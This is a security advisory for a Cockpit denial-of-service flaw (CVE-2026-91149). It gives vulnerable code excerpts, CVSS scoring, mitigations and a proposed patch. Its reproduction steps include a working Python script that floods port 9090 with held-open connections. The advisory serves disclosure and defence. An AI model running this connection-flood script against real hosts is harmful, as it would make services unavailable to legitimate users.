CVE-2026-91149: Cockpit: cockpit: denial of service via unbounded connection thread spawning
A flaw was found in Cockpit. An unauthenticated remote attacker can exploit this vulnerability by initiating and sustaining numerous simultaneous connections to the cockpit-tls service. This forces the service to create an unbounded number of detached threads, consuming system resources such as memory and file descriptors. The primary consequence is a denial of service (DoS), leading to degradation or complete unavailability of the Cockpit service for legitimate users.
Other sources
AIONLYREPORT package: cockpit-356-1.el10 ------ Summary: Denial of Service via Unbounded Connection Thread Spawning: unauthenticated remote clients can force cockpit-tls to create detached threads without an in-code concurrency bound, consuming process resources and degrading or denying service availability. Requirements to exploit: Remote network reachability to the Cockpit listener on TCP port 9090 and the ability to sustain many simultaneous connections for longer than the initial 30-second pre-handshake wait. No authentication or user interaction is required. Practical impact depends on host thread, memory, and file-descriptor limits. Component affected: cockpit-356-1.el10, src/tls/server.c in handleaccept(), with per-connection lifetime extended by src/tls/connection.c in connectionhandshake() / connectionthreadmain(). Version affected: cockpit-356-1.el10 Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - 5.3 (MEDIUM) AV:N - The issue is reachable over the network through the Cockpit listener. AC:L - Exploitation only requires opening and holding many TCP connections; no race or unusual protocol state is needed. PR:N - The per-connection thread is created before authentication. UI:N - No victim interaction is required. S:U - The impact is limited to the affected service instance. C:N - No confidentiality impact is established. I:N - No integrity impact is established. A:L - The flaw can materially degrade or deny service availability, but the exact outcome depends on sustained connection pressure and deployment resource limits. Impact: Important. This issue allows unauthenticated remote users to cause a denial-of-service condition against a network-facing service, which matches Red Hat's Important-impact guidance for remote DoS flaws. The evidence supports availability degradation up to service denial, but does not support confidentiality, integrity, or system-compromise impact. Embargo: no Reason: This is an availability-only issue with straightforward mitigations such as restricting network exposure or applying external connection limits while a fix is prepared. Acknowledgement: Aisle Research Vulnerability Details: In the affected accept path, each accepted connection increments the active connection counter and immediately spawns a detached thread, but there is no admission-control check that caps concurrent connection threads: c pthreadmutexlock (&server.connectionmutex); if (server.connectioncount == 0 && server.idletimerfd != -1) { const struct itimerspec zero = { { 0 }, }; debug (CONNECTION, " -> clearing idle timeout."); timerfdsettime (server.idletimerfd, 0, &zero, NULL); } server.connectioncount++; debug (CONNECTION, " -> server.connectioncount is now %i", server.connectioncount); pthreadmutexunlock (&server.connectionmutex); pthreadattrinit (&attr); pthreadattrsetdetachstate (&attr, PTHREADCREATEDETACHED); int r = pthreadcreate (&thread, &attr, serverconnectionthreadstartroutine, (void ) (uintptrt) fd); The tracked connectioncount is used for idle-timeout bookkeeping, not for admission control. Each spawned thread can then remain allocated for up to 30 seconds before any useful protocol processing, because the handshake waits for the first byte with a fixed timeout: c / Wait for up to 30 seconds to receive the first byte before shutting down the connection. / struct pollfd pfd = { .fd = self->clientfd, .events = POLLIN }; do ret = poll (&pfd, 1, 30000); / timeout is wrong on syscall restart, but it's fine / while (ret == -1 && errno == EINTR);
if (ret == 0) { debug (CONNECTION, "client sent no data in 30 seconds, dropping connection."); return false; } An unauthenticated remote attacker can therefore keep opening connections and hold them long enough to accumulate detached threads and associated file-descriptor and memory usage. Under sustained pressure, legitimate requests may become slow or fail entirely. The precise severity depends on system resource limits and how exposed the service is, so the established impact is availability degradation up to denial of service. Steps to reproduce: 1. Start Cockpit on a test host with cockpit.socket enabled so that cockpit-tls is reachable on port 9090. 2. From another host, run sustained connection pressure that keeps sockets open slightly longer than the 30-second initial poll window: bash python3 - <<'PY' import socket, time TARGET=("TARGETIP", 9090) HOLD=35 # >30s poll window RATE=120 # connections/sec DURATION=120 # seconds opened=[] start=time.time() while time.time()-start < DURATION: t0=time.time() s=socket.socket() s.settimeout(2) try: s.connect(TARGET) opened.append((time.time(), s)) except Exception: s.close() cutoff=time.time()-HOLD keep=[] for ts, sock in opened: if ts < cutoff: sock.close() else: keep.append((ts, sock)) opened=keep time.sleep(max(0, (1.0/RATE) - (time.time()-t0))) time.sleep(30) for ,s in opened: s.close() PY 3. On the target, monitor thread growth with grep -E 'Threads|FDSize' /proc/$(pidof cockpit-tls)/status. 4. On the target, monitor open file descriptors with ls /proc/$(pidof cockpit-tls)/fd | wc -l. 5. While the script is running, issue a legitimate request such as curl -k https://TARGETIP:9090/ and observe latency or failures under pressure. Mitigation: Until a fix is available, restrict access to the Cockpit listener to trusted management networks or localhost only, or disable cockpit.socket if remote access is not required. External connection-rate or concurrency limits in front of TCP port 9090 can reduce exploitability. Lower service task or file-descriptor ceilings can reduce blast radius, but they do not correct the missing bound in the accept path. Proposed Fix: A minimal fix is to reject newly accepted sockets once the active connection count reaches a safe ceiling, and to roll back connectioncount if thread creation fails. diff diff --git a/src/tls/server.c b/src/tls/server.c — a/src/tls/server.c +++ b/src/tls/server.c @@ +#define MAXACTIVECONNECTIONS 256 @@ static void handleaccept (int listenfd) { pthreadmutexlock (&server.connectionmutex); + + if (server.connectioncount >= MAXACTIVECONNECTIONS) + { + pthreadmutexunlock (&server.connectionmutex); + warnx ("Too many active connections (%u), dropping new connection", server.connectioncount); + close (fd); + return; + } @@ server.connectioncount++; @@ if (r != 0) { errno = r; warn ("pthreadcreate() failed. dropping connection"); + pthreadmutexlock (&server.connectionmutex); + if (server.connectioncount > 0) + server.connectioncount--; + if (server.connectioncount == 0 && server.idletimerfd != -1) + timerfdsettime (server.idletimerfd, 0, &server.idletimeout, NULL); + pthreadmutexunlock (&server.connectionmutex); close (fd); } ------ This report was generated using AI technology. Always review AI-generated content prior to use
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Until a fix is available, restrict access to the Cockpit cockpit-tls listener: if remote access is not required, start Cockpit with `cockpit.socket` disabled (listener to trusted management networks or localhost only; otherwise restrict exposure to TCP port 9090).
Cockpit socket activation cockpit.socket = enabled/disabled - Compensating control
Until a fix is available, apply an external connection-rate limit or concurrency cap in front of TCP port 9090 (e.g., via a load balancer/WAF/firewall rate limiting) so sustained unauthenticated connection pressure cannot keep active connection thread creation unbounded.